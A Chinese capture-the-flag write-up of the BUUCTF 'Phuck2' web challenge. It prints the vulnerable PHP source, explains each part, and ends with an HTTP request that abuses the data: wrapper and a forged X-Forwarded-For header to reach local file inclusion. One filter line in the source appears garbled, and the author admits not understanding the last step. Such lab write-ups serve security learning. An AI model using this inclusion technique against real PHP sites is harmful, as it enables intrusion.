buu-Phuck2

buu Phuck2

在buu里打开环境是没有任何提示的,url后面加伤?hl才有源码
脑测要fuzz或者原题有hint
先放上师傅的blog
https://www.dazhuanlan.com/tvshowwords/topics/958186

直接看源码


    stream_wrapper_unregister('php');
    if(isset($_GET['hl'])) highlight_file(__FILE__);

    $mkdir = function($dir) {
     
        system('mkdir -- '.escapeshellarg($dir));
    };
    $randFolder = bin2hex(random_bytes(16));
    $mkdir('users/'.$randFolder);
    chdir('users/'.$randFolder);

    $userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
    $userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

    $mkdir($userFolder);
    chdir($userFolder);
    file_put_contents('profile',print_r($_SERVER,true));
    chdir('..');
    $_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),') && !stripos(file_get_contents($_GET['page']),'php')) {
     
        include($_GET['page']);
    }

    chdir(__DIR__);
    system('rm -rf users/'.$randFolder);

?>

分析源码

stream_wrapper_unregister('php');

取消包装器

$mkdir = function($dir) {
     
        system('mkdir -- '.escapeshellarg($dir));
    };

不需要管,因为escapeshellarg()就是用来确保参数安全的

$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

创建一个随机文件夹并更改到该目录

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));
$mkdir($userFolder);
chdir($userFolder);

如果设置了XFF,他将获得XFF的值,否则他将获取用户的IP,将取得值中的’.‘和’-'删除,并创建文件夹后进入

file_put_contents('profile',print_r($_SERVER,true));
chdir('..');

将数组$_SERVER写入到profile文件当中

$_GET['page']=str_replace('.','',$_GET['page']);
    if(!stripos(file_get_contents($_GET['page']),') && !stripos(file_get_contents($_GET['page']),'php')) {
     
        include($_GET['page']);
    }

删除$_GET[‘page’]的’.'同时过滤了’ 再进行文件包含

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

最后删库跑路

Phpinfo

Directive Local Value Master Value
allow_url_fopen On On
allow_url_include Off Off

我们看到这意味着 include 中 在 url 和一些 包装器 不起作用。

解决方案
当我们将数据作为 data:,xx/profile 发送时, 因为 allow_url_fopen 和 allow_url_include ;

file_get_contents('data:,xx/profile');   --> string 'xx/profile'
include('data:,xx/profile');             --> 'data:,xx/profile'

虽然数据 包装器在 file_get_contents 中 工作,但它在 include 中不起作用。
再通过/get_flag读取(但是我不李姐)
GET /?page=data:,xx/profile HTTP/1.1
X-Forwarded-For: data:,xx
Get-Flag:

buu-Phuck2_第1张图片

你可能感兴趣的:(buuctf-web,php)